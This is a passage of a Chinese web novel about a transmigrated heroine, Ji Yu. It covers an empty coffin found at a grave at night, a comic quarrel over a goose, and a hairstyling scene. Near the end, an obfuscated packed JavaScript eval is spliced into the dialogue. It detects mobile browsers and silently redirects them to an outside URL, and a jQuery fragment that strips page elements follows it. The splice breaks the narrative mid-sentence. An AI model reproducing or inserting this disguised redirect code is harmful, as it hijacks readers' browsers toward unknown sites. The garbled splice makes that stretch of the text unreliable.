“并未声张,一切如常。”季妤淡定道。 “好,我这就派捕快过去搜查。”陈远说着,很快便喊来捕头,捕头又召集了一众捕快,带着仵作赶往寻欢楼。 见状,季妤也不多逗留,便和南星出了衙门。 季妤本想回寻欢楼看看素娥情况,奈何被南星扯住衣袖,“季姑娘,能不能求你一件事。” 他的语气里隐隐带着一丝恳求,季妤回头望着他,他的情绪一直有些低落,再加上自从他坦白自己真实身份后,披着祁钰温润的外衣便被剥下,展露了原本真实的性格。 安静话少,此刻还多了几分脆弱,让人不忍心拒接他提出的请求。 季妤微微点头,也没管他看不见,她轻声道:“什么事?” 这便是答应了。 南星嘴角扬了扬,露出一个淡淡的笑,“我想去看看阿娘。” 季妤一惊,看阿娘,意思是去他娘坟里? 他果然还是相信了柳棠的话,期待着真的能复活他阿娘,可是,这根本就是不可能的事,人都埋地里十年了! 季妤很想叫醒南星,给他解释分析各种不可能,可是看到他那破碎的样子,到嘴的话愣是没说出口,最终只道:“好。” 若是真的有一种办法可以复活重要的人,可以复活她爸爸的话,她也会逼着自己相信,哪怕只有一点点成功的希望,所以,那一刻,季妤是有些理解南星的。 在季妤说出那个“好”字的时候,南星的心猛烈跳动了几下,一股暖流填满了干涸的心,满得甚至要溢出来。 季姑娘果真是极好的人,连他这 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季妤有些困难地挪动步子,想着朝前走几步,突然袖口一松,牵着她衣袖的手松开了,季妤先是不解,回头去看南星,问他:“怎么了?” “应该就在前面了。”南星轻声道。 就在眼前了,不知怎的,有些胆怯,十年没有回过青州,十年没有再来看她,阿娘会不会怨他? 南星几乎是被阴影笼罩着,季妤看不见他脸上的神色,他语气又一直是淡淡的,季妤便没有多想,她欣喜道:“那太好了,赶紧过去吧。” 说罢,自然而然地牵起南星的手往前走,南星微微一愣,下意识地垂头要睁眼去看被牵住的手,又忽地想起季妤先前的叮嘱,两个时辰内不要睁眼。 虽然看不见,但感受无比清晰。她的手有些凉,很小,甚至没有他的手一半大,很软,但带着一股不容拒绝的力量,只要她牵着他,他就没了力气挣脱。 南星清晰地听到自己的心跳声,很大,甚至可以说是震耳欲聋,他不由得担心,这么大声,季姑娘会不会听见,若是听见了,他该多尴尬。 季妤牵着南星径直朝着前方走,走了大概半刻钟的样子,终于借着月光看到了一块简易的墓碑,看到墓碑上的名字后,她扭头朝后问南星:“乔嫣然是你娘吗?” 南星点头,轻轻“嗯”了一声。 季妤松开牵着南星的手,对着他温声道:“去吧,和你娘说说话。” 看着空荡荡的手心,南星有些失落,若是能牵久一些就好了。 南星往前走了两步,双手触碰到墓碑上刻着的字,心情有些复杂,他的喉咙仿佛被什么给堵住了,明明每次梦到阿娘都有说不尽的话,可当他真的站在这里了,他却说不出什么,最后也只说了一句:“阿娘,阿星来看你了。” 季妤站在一旁,耐心地等着南星和他阿娘说话,等了半晌,最后只听到一句话。 季妤叹了口气,准备找个地方坐下来静静地等南星,谁知刚找到一个大石头正要坐下,就看到原本还在摩挲墓碑的南星,此刻正挖起土来。 季妤一惊,忙站起走过去,问:“你挖土做什么?” 南星头也不回,只默默挖土,淡声回道:“确定我阿娘还在不在里面。” 季妤愕然,这是,亲自挖自己亲娘的坟?! 52. 第 52 章 季妤犹豫地看了看自己完好的右手,思考着要不要帮着一起挖,就凭他一个人徒手挖,挖到天亮也不一定能挖完。 她从布包里掏出一个手掌大小的铜镜,这个铜镜是平时用来注意仪容仪表的,简单点说,就是她纯纯自恋臭美,时不时地要照一下镜子。 她从小到达,书包里,包包里都时常备着镜子,即使穿书了,这个习惯也没有改变,古代大多数的铜镜都是放在梳妆台的,比较大,带出去不方便,为此,她还专程去打了一面巴掌大小的铜镜方便她时刻能拿出来照。 如今这镜子也算是派上了用场,季妤拿着镜子走到南星身边蹲了下来,开始用镜子刨土。 有工具代替手,效率更高。 “季姑娘,你的手臂还有伤。”南星察觉到季妤在旁边蹲了下来,便意识到她是要和自己一样,挖土掘坟,忙出言阻止。 她一个姑娘家的,本就爱干净,让她陪着他来到这种地方已经是他思虑不周,如今她手臂还有伤,怎么再好意思让她帮着他一起挖土呢? “没事,我用的右手,而且我有工具,并不是全靠手挖,比你轻松多了。”季妤不以为然,手上动作一刻不停,等话说完,她已经挖了一小堆土。 正要继续挖,突然衣袖被扯住,季妤停下动作低头去看,看到一双明显将泥土擦干净的手拽着她袖子,再抬头时,听到:“季姑娘,你去旁边坐着,我自己来就行。” 声音是温柔的,语气却带着一丝不容拒绝的意味,他虽未睁开眼看着她,但脸是面对着她的,她看着他棱角分明的脸,能从中感受到他的固执,仿佛她要是不答应,他就会一直和她僵持着,到最后恐怕天亮了,连一半的土都没能挖完。 季妤无奈,只好道:“好吧,你自己挖,我去旁边坐着。” 南星听到季妤这般说,暗自松了口气,心里的紧张也消减了大半。若是季姑娘执意要跟着一起挖,他还真拿她没办法,他反而还怕自己太过固执,惹她不高兴。 季妤将手里的铜镜塞进南星的手里,道:“拿这个挖,会轻松许多。” 说完,便起身抖了抖裙摆处沾上的泥土,然后走到原先找到的大石头上坐了下来。 夜已很深,此时的人们都在家中做着好梦,就连月亮也躲进了云层休息,季妤忍不住打了个哈欠,揉了揉疲倦的眼睛,目光瞟向南星那处。 没有了月光,眼前几乎是漆黑一片,季妤只能看到他模糊的身影,以及他隐隐约约的动作,风一吹,竹林簌簌作响,发出一些奇奇怪怪的声音,季妤抱着双臂有些害怕地左右看了看,忽然看到点点荧光,一上一下,一左一右地在空中飞舞,季妤眼睛瞬间亮了起来,萤火虫啊! 竟然在这里看到了萤火虫,要知道在现实世界里,她只有小时候在农村的时候见到过,后来到了城里念书,城里没有萤火虫,再后来回到农村时,萤火虫也消失不见了,就像是童年见过的小精灵,长大了,就消失了。 有了萤火虫的出现,风吹竹林的声音也变得悦耳动听起来,恐惧消失了,困意也消减了。 视线跟随着萤火虫飞舞的轨迹,轻飘飘地落在了南星身上。 随着时间流逝,坟已经挖了一半,而他,没有间歇地挖了足足一个多时辰了,仿佛不知疲倦般,季妤心头一动,站了起来。 萤火虫越来越多,照亮了漆黑的竹林,季妤畅通无阻地走到南星面前,蹲了下来,看着陷入泥坑一半身子的南星,轻声道:“要不要休息一下?” 察觉到季妤的靠近,南星将手里刚挖的泥土转了个方向,丢到了身后,然后软下声音道:“快挖完了,季姑娘你往旁边靠一下,小心泥土溅到,弄脏了衣裳。” 季妤听话地往旁边泥土少的位置挪过去,又找了块烂木头垫在下面坐了下来,然后静静地看着南星。 “南星,我们说说话吧。”虽然出现了萤火虫,消减了一些恐惧,但周围实在太安静了,静得有些让人害怕,而且,面前的还是一座坟墓,且已经挖了一大半了,到时候看到棺材,再看到棺材里的尸骨,就更恐怖了。 如果两人说说话,转移一下注意力,季妤想,她就会没那么害怕了。 “好。”南星回应着。 “我在河边捡到你时,你短暂的醒过一次,那时候你眼神特别吓人,你是不是想杀了我?”季妤笑着问。 回想当时看到那双阴测测的眼睛时,她吓得不轻呢,如今倒是能轻松地当面去问当事人,季妤心中不禁有些感慨。 南星手一顿,认真回想了一下当时的画面,点了点头,诚实道:“当时我正被人追杀,第一眼见到季姑娘你时,不太确定你是不是好人,所以,那时确实是想杀你。” “不过,那个念头后来都没有了。”南星补充道。 季妤笑道:“这个倒是真的,后来的你再也没露出那样可怕的眼神,都是温润如玉的谦谦君子模样,当然,除了你蛊毒发作的时候。” 南星有些窘迫地垂下头,温润君子模样不过是装出来的,他的本性与之恰恰相反,他沉默寡言,木讷无趣,她,会喜欢他原本的样子吗?还是,只喜欢他伪装祁钰时的样子,又或者是……她喜欢真正的祁钰。 想到这,南星不由得抬头去看季妤,他微微将眼睛睁开一条缝隙,模模糊糊间看到面前坐着一个娇小身影,有许多星星点点的光亮在她周围闪烁飞舞,她像是这竹林里的仙子,而飞舞着的便是精灵。 恍惚间,南星似乎看见她笑了,虽然看不清,但脑海里早已记下了她以往的笑容,他看到她笑着问他:“祁钰是谁啊?” 语气中带着好奇,季姑娘好奇地问他,祁钰是谁。 果然,她喜欢的是温润君子模样的祁钰。 南星有些失落地闭上眼,淡淡回道:“他是当今三皇子。” “他现在在哪里?在京城吗?”季妤继续问。 南星脸色冷了下来,手上挖土的动作重了几分,仿佛泄愤似的,将挖出的泥土重重地往身后一扔,虽然动作大了许多,但仍然顾及着一旁的季妤,没让她沾上一点泥土。 他冷硬回道:“应该吧。” 季妤右手撑着下巴,思考着祁钰什么时候会来青州,只要祁钰来了,她就能开始做她的系统任务了。 如果祁钰一直不来,那系统任务就一直没有进展,这是季妤目前最苦恼的事。 按照书中剧情,祁钰应该要不了多久就会到青州了吧。 祁钰,会是长什么样呢?肯定长得特别好看,但应该是和南星完全相反的人。季妤想着,越发好奇了,便完全没有注意到某人正独自郁闷着,以挖土发泄心中的不悦。 心里堵着气,手下动作便越快,半时辰后,棺材终于显露出来了。 季妤回过神来,忙站了起来。 南星有些紧张地看着棺材,手攀在棺盖上,将上面的泥土扫去。 忽然他发现钉在棺盖上的钉子没了,摸遍了整个棺盖,只摸到一排排的洞,竟是连一颗钉子都没有找到。 棺材被人动过了! 南星着急地推开棺盖,睁开眼睛,两个时辰过去了,他的眼睛能看见了,虽然看得不是很清晰,但还是能看到棺材里已经空无一物。 季妤也看到了棺材里真的是什么都没有,就是一具空棺材,不禁惊讶道:“怎么会没有你娘的尸骨呢?” 南星沉默地立在原地,垂着头,高瘦的背影看起来有些落寞和孤寂。 季妤见状忙安慰道:“先别担心,也许是柳棠她将你娘的墓移到了别的地方。你看这里虽然幽静,但若是下大雨的话,很容易被淹,或许柳棠便是想到了这点,所以把你娘挪到了别的地方,虽然现在柳棠死了,但她不是还有妹妹吗?我们可以去问问她的妹妹,说不定就知道你娘被挪到什么地方安葬了。” 南星垂着头,努力睁大着眼睛,目不转睛地看着空空如也的棺材。 阿娘她,真的不见了…… 真的如柳棠所说的,她把阿娘的尸身保存起来了,为的就是复活阿娘。 南星双手紧紧地攥着,浑身止不住地颤抖着,有莫名的欣喜从内心深处生根发芽,他抑制不住激动的情绪,恨不能现在立刻飞到柳茜那,仔细询问阿娘的尸身所在之处。 阿娘或许,真的, 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季妤心头一紧,伸出手再次轻轻拍了拍他的肩膀,正要出口安慰几句,忽地袖子被拽住,她下意识低头去看,看到拽着她衣袖的手,指尖泛白。 “季姑娘,你能不能……”南星低低唤了一声,声音有些许哽咽,还有些沙哑。 季妤抬头,猝不及防地撞进一双满是通红的眼眸,他眼眶泛着泪光,眼底是浓得要溢出来的悲伤和难过,他直勾勾地看着她,眼睛湿漉漉的,像只可怜的小狗。 季妤喉头滚动了一下,艰涩开口:“怎么了?” “能不能……抱抱我。” 季妤一愣,见他用乞求般的眼神看着她,眼眶里是蓄满的泪珠,将落未落,仿佛只要她不答应,这些泪珠便会像决堤的洪水般,顷刻间喷涌而出,将她淹没。 “当然可以。”季妤听到自己说。 她张开手臂,身子靠前,用右手臂环住了面前这个比她高了将近一个头的高瘦少年的细腰,手抚上他的后背,轻轻地拍着,安抚着他破碎的情绪。 “你想哭吗?”季妤轻声问,没等南星作出反应,又故作轻松般道:“想哭就哭出来吧,这里只有我,我不会笑话你的。” 话音刚落,忽地腰上一紧,肩上一沉,先是落入一个有些颤抖的怀抱,再是感受到肩被他坚硬的下颚抵着。 她被他圈住,先是很轻柔的拥抱她,然后再一点点地收紧力道,最后变成紧紧地抱住,以至于她整个人都陷在他的怀中。 心,不受控制地乱跳起来,激烈得仿佛要从胸腔里蹦出来,季妤心里很慌乱,她不禁在想,靠得这么近,她这怦怦直跳的心,他是不是也能清晰地感受到,这样的话,岂不是太让人难为情? 就在胡思乱想时,忽然,颈窝处被烫了一下,有液体滴落,一滴接着一滴,先是滚烫的,然后渐渐变凉,在知道是什么后,季妤呼吸一滞,不敢乱动。 沉默寡言且性格别扭的人,就连哭泣都是默默无声的,看着让人揪心,季妤心里有些难过,安慰的话在此刻都变得有些苍白,她没再开口,便只是默默的,安静的,等他哭完…… 随着时间的流逝,直到月亮又从云层里出来,朦胧的月光透过竹林缝隙洒了下来,斑驳的影子映在两人身上,风一吹,竹影摇曳,在两人身上舞动,好似大自然最生动的皮影戏一般,季妤出神欣赏了一会儿,便感受到靠在肩上的重量骤然减轻,环住她的手也渐渐松开,季妤莫名松了口气,心跳也渐渐恢复平稳。 “季姑娘,谢谢你,满足我这无理的要求。”南星眼里闪烁着光芒,定定地看着季妤,看得认真,语气也认真。 季妤很是大方地笑笑:“心情好受些了吗?” “嗯,好多了。”南星有些不好意思地低下头去。 自从阿娘在面前死去后,后来的十年间他都没再哭过,再苦再惨时,他也没掉过眼泪,唯有今日,在她面前卸下防备,流了那么多眼泪。 一想到眼泪都落在了她的颈窝,再顺着流进她体内,南星脸上红晕飘过,眼神不自然地闪烁着,始终不敢再抬头看她一眼。 53. 第 53 章 季妤打了个哈欠,看这天色,估计要不了多久就要天亮了,累了一天,现在已经是困得不得了。 “季姑娘,我们回去吧。”看着一脸困意的季妤,南星心里有些愧疚,若不是他提出这样无理的要求,她现在应该正在房里好好休息。 季妤揉了揉眼睛,问他:“那你娘尸骨的事,你打算怎么办?” 南星平静道:“我会亲自去问柳茜,她或许知道。” 柳茜,柳棠,都姓柳,那么柳茜估计就是柳棠的妹妹了,季妤想着,点了点头,他的事情便让他自己去解决吧。 回到家时,离天亮约莫还有一个时辰左右,若是睡到太阳升起,还是能睡到几个小时的。 季妤睡眼惺忪地回到屋中,正要脱衣躺下,忽地摸到一具娇软的身躯,顿时吓得她一个激灵,瞌睡虫短暂地被吓跑了。 季妤眨了眨眼睛,看到床上的苏念可后,松了口气。 吓死她了,差点忘了苏念可睡在她的床上。 而经过季妤那么一摸,苏念可也被弄醒了,她懒懒地坐起身来,拧着眉不悦地瞪了季妤一眼:“你鬼鬼祟祟地做什么?” 季妤尴尬地挠了挠头,道:“没干嘛,太困了,忘记现在这房间和床都是你的。” 苏念可盯着季妤看了一会儿,感受到那股视线的季妤,仿佛如芒在背,左脚悄悄地抬起一点,准备溜走,便听到苏念可问:“他呢?” 这个他,季妤当然知道指的是南星。 只是苏念可恐怕还不知道南星已经向她坦白了自己的真实身份,苏念可还以为她仍然把南星当做祁钰,因此还要继续帮南星隐瞒,又不好直呼自己的暗卫祁钰,毕竟祁钰身份尊贵,便只得避重就轻地减去名字,直接用代词“他”去问她。 一想到苏念可一个大小姐,还要费心给自己的暗卫隐瞒身份,季妤就有点想笑,看来苏念可,也没有她想象中的那么可恶嘛! 至少对自己的暗卫南星,不是那么的坏。若不是苏念可,南星一个暗卫真能拿出七百两给她吗?一个肯拿出好几百两给自己的暗卫去报答救命恩人的人,就算人品真的不咋样,但至少她当领导是非常合格的,对下属不错,很是大方。 季妤眼珠子转了转,起了逗苏念可的心思,她故作不明白地问:“他,指的是谁啊?” 苏念可睨了季妤一眼,犹豫了一下,道:“祁钰,他可有回来?” “啊,你说他啊……”季妤恍然大悟道,眼眸一转,又惊讶地看着苏念可,“苏小姐怎么会这么问?他是去替你办事,而我则是去了寻欢楼,两人又不同道,我不知道他去哪,又怎么会知道他回来没有?” 苏念可狐疑地看着季妤,直把季妤看得心虚地抠手指,才缓缓开口:“你下去吧。” 说罢,重新躺了回去,将被子往身上一盖,闭上了眼睛。 季妤扯了扯嘴角,一脸无奈,转身出了房间,来到另一间房时,不经意地瞥了一眼桃树底下元宝的窝,猛地发现地上铺了一地雪白的羽毛,季妤心里咯噔了一下,三步并作两步跑过去。 元宝不见了! 她就说怎么她回来的时候那么安静,这聒噪的蠢鹅怎么突然不嘎嘎叫了,以往她只要一回来,元宝准会扑棱着翅膀嘎嘎叫着欢迎她,虽然它叫得实在难听,但她心里还是很高兴,家里还是有鹅期盼着她回家的。 季妤慌张地到处找,终于在厨房灶台角落找到了元宝。 看到元宝被拔了羽毛五花大绑地拴在角落,睁着一双水灵灵的大眼委屈巴巴地看着她,季妤心里一软,忙上前解开绳子,看到元宝被绳子勒出的红痕,季妤心里陡然升起一股怒火。 苏念可果真是恶毒女二,竟然连一只鹅都不放过,她吃惯了山珍海味,还要吃她的元宝,真是太可恶,瞧瞧,原先多标致的一只鹅,现在成光秃秃的丑样了。 季妤抱着元宝怒气冲冲地跑到苏念可那,大声喊道:“苏念可!你这个恶毒女二,你凭什么要吃了我的元宝!” 被季妤一嗓子给吵醒了的苏念可,偏头不耐烦地看着季妤,视线落在被抱着的鹅身上,一想到这只蠢鹅干的好事,她就来气,她冷哼一声:“若不是我不会烧火,我早就把这蠢鹅炖了。” “什么?!”季妤怒道:“你还要炖了元宝,苏念可,你怎么那么坏,未经别人允许就要炖了别人的宠物,难怪你是恶毒女二。” 第二遍听到恶毒女二这个词,虽然不知道女二是什么意思,但恶毒二字她还是能听懂的,苏念可平静的脸瞬间冷了下来:“你说我恶毒?” “还不恶毒?你都要吃了元宝了!”季妤激动得面红耳赤,声声控诉着苏念可恶毒的行径。 而有主人撑腰,原本还害怕着苏念可的元宝,从季妤的臂弯探出头来,伸长脖子朝着苏念可颇为得意地“嘎嘎”叫唤了两声,颇有几分鹅仗人势的样子。 苏念可见状,气极反笑,吃鹅就算恶毒了?那这天底下得有多少人是恶毒的。 这季妤对恶毒的定义还真是浅显。 罢了,不与她计较,反正她也没真的想宰了这蠢鹅,而且她也教育了这蠢鹅一顿出了气,苏念可看着季妤怀里的鹅,嗤笑道:“真丑。” 季妤瞬间黑脸,义正言辞道:“你干的好事,你还好意思说它丑,你必须给它道歉,还要补偿它。” 苏念可坐直了身子,一脸不可思议地看着季妤,指着元宝道:“我给它道歉?” 给一只畜生道歉,苏念可险些又被气笑了,给人道歉她还得考虑考虑呢,竟然还敢让她给这蠢鹅道歉,就这蠢鹅干的好事,她没当场把它炖了都算它走运。 苏念可咬牙切齿地想,早知道在季妤做早饭的时候去厨房看一下怎么生火的就好了,早把蠢鹅炖了,不然哪有现在这破事。 一只本来就是做菜的蠢鹅,竟然还像养猫狗似的养着,猫可爱,狗看家,这蠢鹅会什么,会偷看人洗澡! 苏念可气得从床上下来,她非得好好和季妤理论理论,好好掰扯掰扯,到底是这蠢鹅有理还是她有理。 见苏念可走近,元宝凄厉地大叫起来,季妤抱着元宝谨慎地往后退了两步,质问道:“你要干嘛?” 苏念可咬牙笑道:“不是说要给这蠢鹅道歉吗?” 见她又走近一步,季妤赶忙又后退一步,“你就站在那道歉就行,不用走过来。” 苏念可轻呵一声,快步走至季妤面前,一把从她怀里拽住元宝修长的脖子。 元宝凄惨地叫声瞬间响彻整个屋子,苏念可嫌弃地捏住元宝的嘴,骂道:“叫那么大声做什么,吵醒了芷丹,我真把你炖了!” 被恐吓的元宝真的相信苏念可会炖了它,顿时停止了叫声,闭上眼,秃了的翅膀软绵绵地垂下,一副乖巧认命的模样。 季妤怒道:“苏念可!” 苏念可懒懒地掀开眼皮看了季妤一眼,淡淡道:“你这蠢鹅还真和你一样,一样的好色。” 季妤一听这话,炸了,骂元宝也就罢了,怎么还污蔑起她来了,她怎么好色了! 苏念可虽然长的好看,但她也仅仅只偷偷看过几次而已,每次都不超过十秒,而且她是带着欣赏的目光看她,爱美之心人之常情,她欣赏美丽的事物有错吗?有错吗!这怎么就成好色了! 季妤不解,大为不解,她怒瞪着苏念可,大有苏念可不解释清楚,她就会一直用眼神杀死她。 对于季妤毫无杀伤力的眼神杀,苏念可不以为意,连一个眼神都没施舍季妤,她提起元宝,声音带了点怒意:“你这只蠢鹅,在我洗澡的时候进来躲在屏风那,不仅偷看我洗澡好一会儿,后来更是胆大包天地飞到浴桶上光明正大的看!” 季妤一听这话,有些诧异地看向元宝。 元宝心虚地呜咽一声,将眼睛闭得更紧了,在苏念可手上一动不敢动,像是僵硬得死了好几天一样。 元宝这反应,看来苏念可说的是真的了,季妤尴尬到捂脸, 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季妤忙道:“只拔毛的话,教训还不够,恐怕它不长记性,我决定饿它两天,苏小姐觉得如何?” 苏念可淡淡回道:“随你。”便转身走到床边坐了下来。 季妤思考了一秒,连忙倒了一杯水过去,一脸讪笑道:“苏小姐,喝口水润润嗓子。” 看着季妤狗腿讨好她的样子,苏念可不免觉得有些好笑,没接季妤端来的水,只饶有兴致地问她:“怎么,刚才还气势汹汹的要我给你的鹅道歉,怎么这会子蔫了?” 季妤继续讪笑,道:“这不是自知理亏了嘛,苏小姐你没生我气了吧?” “我饿了,你去给我做吃的。”苏念可懒洋洋地靠坐在床上,掀开眼皮看了季妤一眼。 季妤忙道:“好嘞,苏小姐您稍等片刻,小的马上去给你煮面吃!” 抱着元宝出了屋子,看着晕死过去的元宝,季妤就一阵头疼,好死不死地非要偷看苏念可洗澡,以她恶毒女二的身份,她没把元宝宰了还真是出乎意料,竟然只是拔了毛然后绑起来扔到厨房而已。 看来这苏念可,也没书里写的那么坏嘛,她刚才可是对着苏大小姐大喊大叫的,还要求她给元宝道歉,一个大小姐给鹅道歉,就这点,苏念可竟然没有打她,她都觉得自己走运了。 苏念可这个人嘛,是有点大小姐脾气,傲娇得很,不过她长得那么漂亮,出身又好,有大小姐脾气太正常了。就目前相处来看,这人并没有书里写的那么坏。 她之所以是恶毒女二,完全就是因为她针对女主蓝汐,多次陷害女主于危险境地,还险些几次让女主死掉,所以读者们都恨毒了苏念可,恨她插足男女主感情,恨她害女主性命,也恨她不知好歹,那么好的男二对她一往情深,她偏偏看不上,非要死磕在男主身上。 唉,没有遇到女主的苏念可,还没那么可恶,顶多就是耍点大小姐脾气,怎么一见了女主,就仿佛被下了降头似的,变得恶毒起来呢。 季妤忽然就有些担心,担心苏念可和女主蓝汐见面后发生的事,到时,会是怎样的修罗场呢。 煮好面后端到苏念可那去,却发现她已经躺床上睡着了,季妤犹豫了好一会儿,在叫醒她和不叫醒她之间挣扎纠结,最后决定还是不叫醒她了。 夜已经很深,她已经两次打扰她休息,要是再吵醒她,她可不敢保证苏念可不会打她。 所以,那碗面,最终进了季妤肚子里。 匆匆洗漱完后回了另一间房,蹑手蹑脚地走到床边看了一眼,芷丹睡得正熟,看来刚才发生的闹剧没有影响到她。 季妤悄悄舒了口气,走到自己打地铺的位置,累得几乎是一沾被窝就直接睡着了。 睡之前,她还在想,南星去问柳棠妹妹关于他娘尸骨的去向还顺利吗?柳茜是否会告诉他真相呢? 54. 第 54 章 季妤醒来时,已经是日上三竿了,若不是苏念可喊醒她,她可能会直接睡到中午。 实在是昨夜睡得太晚了,古代夜生活终究比不得现代,什么电子产品都没有,所以她自从穿书后,一改之前熬夜习惯,每次都睡得很早,当然,起得依然晚。 季妤抓了抓凌乱的头发,从地铺起来后,扭头便看到苏念可坐在凳子上,一脸嫌弃地看着她,“你的头发为何总是那么凌乱,你可是女子,怎么一点形象都不顾。” 季妤无所谓道:“头发太长了,我又不会挽那种很漂亮的发髻,便只得随便编一下。” 苏念可诧异道:“我看你也只是普通人家女子,身边并没有梳妆的丫鬟,所以按道理自己应该更会梳发才对啊。” 像她一样,从小到大都有服侍的丫鬟,不说别的粗使丫鬟,就是单单给她梳妆的丫鬟就有四个,芷丹和芷燕,还有另外两个。 所以她可以不用会梳头挽发,但即使如此,简单的发髻她还是会的,毕竟她出身名门,需得时刻注意自己的形象,毕竟出门在外,自身形象也是家族的脸面,她们这种出身的人,是万不可在外丢了家族的脸面的。 季妤走到圆桌上给自己倒了一碗水,喝了两口后才回答苏念可,“苏小姐,你要理解一下有的人是手残党。” “手残党?什么意思?” 季妤拿起桌上的铜镜仔细地照了照,发现头发确实太凌乱了,照了一会儿,回道:“手巧的反义词。” 又嫌弃地抓了抓头发,暗暗苦恼着,长发就是麻烦,像她在现代时候就是一头利落干净的齐脖短发,平日里也不用怎么打理它,起床随便梳一下就好了,洗头吹头发也是方便得不得了。 现在的一头长发可把季妤苦恼住了,本想剪到肩膀那,怕在人群里太另类,便只敢暗戳戳地剪短一点点,但还是很长,每次洗头都要了季妤老命,最痛苦的是,头发太难干了,她刚穿书那几天,还是三月份,天气冷,太阳又少,洗了头,半天都干不了,就顶着个湿哒哒的长发,难受死了。 “季姑娘若是不嫌弃,我可以教你梳头。” 季妤听到声音,扭头往后一看,见是床上的芷丹,她坐起了身子,精神看着不错,看来昏睡蛊是彻底解了。 “芷丹的梳头手艺可是非常不错的,有她教你,你手残也是能学会的。”苏念可认可道。 季妤想了想,总是这么随意好像也不太好,毕竟是古代,还是要注意一点,于是对着芷丹道:“那你教我个简单好学又好看的发髻。” 芷丹从床上下来,几人来到季妤的房间,打开首饰匣子,里面头饰寥寥无几,苏念可拾起一只没什么花纹的银簪道:“你就这么几只素簪?耳环也没几对,你平日都不打扮的吗?” “手残嘛,我又不会梳那种好看的发髻,这些簪子自然就用不上了,至于耳环,一两对就够了。”季妤拿起一对耳环,照着镜子给自己戴上,催促着芷丹,“快快快,快教我。” 说罢,已经坐在了梳妆台前,等着芷丹在她的头发上操作给她看。 芷丹笑着道:“虽然季姑娘你的头饰太少了,但我也不会让季姑娘你失望的,季姑娘你就瞧好吧。” 说完,拿起梳子,颇为自信地开始了。 大概两刻钟时间,一个简单又好看的发髻出现在季妤的头上。 季妤看着镜子里的自己,颇为惊讶,表情都愣住了,似乎不敢相信镜子里那个梳着好看发髻的人会是自己,这可是她穿书以来,头发最好看的一次。 头发梳的好看了,人都看起来精神了许多。 季妤忍不住地摸了摸自己的头发,被芷丹轻轻拍了一下手,“先别摸,还有头饰没戴。” 季妤悻悻地将手放下,透过镜子看到芷丹拾起一支雕刻着些许花纹的银簪,斜插在她的发髻左侧,然后又拾起一只珍珠簪,插在了另一侧,末了,皱眉道:“若是有两朵绢花就好了,现在有些太素了。” 季妤灵机一动,道:“绢花没有,院子里那棵桃树上有现成的桃花,用来代替绢花可行?” 芷丹笑着道:“有真花,自然是比假花要好的。” “那我去院子里摘两朵桃花来。”说罢,季妤便要起身,却被苏念可一把摁住,“你坐着吧,我去给你摘。” “诶?”季妤惊讶,苏念可什么时候这么好了?竟然主动去帮她摘,她可是大小姐,从来都是吩咐别人去做事,哪能轮到她亲自去做? 许是季妤惊讶的表情太过明显,苏念可微微不悦地瞪了季妤一眼,“少自作多情了,我是为了芷丹,这发髻只是给你示范的,没有固定,你一走动很容易散,你要是起身去院子摘桃花,把芷丹梳的发髻弄散了怎么办,那芷丹岂不是白费功夫了?” 有道理,季妤点点头,刚才起身时确实感觉头发有点晃,既如此,苏念可要去摘,便让她去摘吧。 季妤乖乖地坐着不动,苏念可满意地勾了勾唇角,转身出了屋来到院子里。 仔细挑选了两朵最好看的桃花,正要往屋里走时,突然院门被打开。 “小姐。” 是南星,脸色面无表情,语气也颇为冷淡,苏念可有些意外,道:“我们几人在季妤屋中,你先去另一间房内等我,我有事问你。” 南星朝苏念可拱手道:“是。” 苏念可走入房内,将刚摘的两朵桃花放到桌上,便转身出了屋子。 季妤和芷丹正兴致勃勃地讨论着发髻的事,一个想着怎么教,一个想着怎么学,并没有多注意到苏念可。 苏念可来到另一屋,便看到南星一脸沉默地坐在窗边,隐隐约约能感受到情绪不太对,苏念可若有所思,走到旁边坐了下来,问:“查的事如何?” “一开始在寻欢楼找到了他们,后来寻欢楼老鸨被他们杀了,我被他们撒了药粉,眼睛看不见,被他们逃走了。后来是季姑娘给我的眼睛上了药,这才没瞎。” “你去了寻欢楼,还和季妤在一块儿?”苏念可问。 南星如实道:“嗯,多亏了她。” 是啊,多亏了季姑娘,他的眼睛没瞎,她还陪着他去看了啊娘,那晚有季姑娘在,他到底没那么伤心难过。 苏念可脸色变得有些难看,她想起了昨晚她问季妤时,季妤说不知道南星在哪,两人昨晚分明是待在一起的,这季妤竟敢骗她。 不过关键不在季妤骗她,而在于,他们杀一个青楼老鸨是为何? “杀了青楼老鸨,怎么回事?”苏念可问。 “老鸨取心头血被他们的人发现了,那人似乎很痛恨这种害人的邪术,所以出手杀了老鸨,我与他打斗期间,发现他武功不在我之下。”说到此处,南星表情有些凝重。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15228889|155770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他的武功,整个大祁,鲜少有人能比得过他的,不是说他武功学的有多厉害,而是因为他服用了一种蛊毒,就是他每个月会发作的蛊毒。 这种蛊毒会增强内力,反应速度和耐力,能很大程度上使武功运用得更极致。 他尚且是因为蛊毒才武功那么高,而那人,似乎并没有中蛊,却也那么厉害,竟然能与他打得不分上下,这倒是令人警惕。 苏念可自然也明白其中的严重性,看来要想从那人手里拿到千云册,不是一件容易的事。 而且,心头血一事恐怕…… 苏念可垂眸沉思,两人之间陷入一阵沉默,突然一串清脆的笑声传来,打破了沉闷的气氛。 听到笑声的南星扭头朝门那边看去,便看到从外面推开门的季妤,看到季妤的样子,南星身子僵在原处,眼睛一亮,灼热的目光停留在季妤身上,一直到她进到屋里走到面前。 “诶?南星,你回来啦。”季妤高兴地打着招呼,全然忘了苏念可还不知道她已经知道南星的真实身份,等反应过来后,笑容有些凝固了。 她本来是来找苏念可的,让她点评一下芷丹给她梳的另一个发髻,谁知推开门一看,里面不仅有苏念可,还有南星。 “南星?”苏念可似笑非笑地盯着季妤,季妤想起了昨晚逗苏念可而没有实话实说的事,顿时心虚地垂下了头,没敢看苏念可。 南星起身站在季妤身前,不经意间将季妤挡在了身后,“小姐,我昨晚已经向季姑娘坦白了真实身份。” 苏念可眼神在两人之间来回流转,冷笑一声,气得不想说话了。 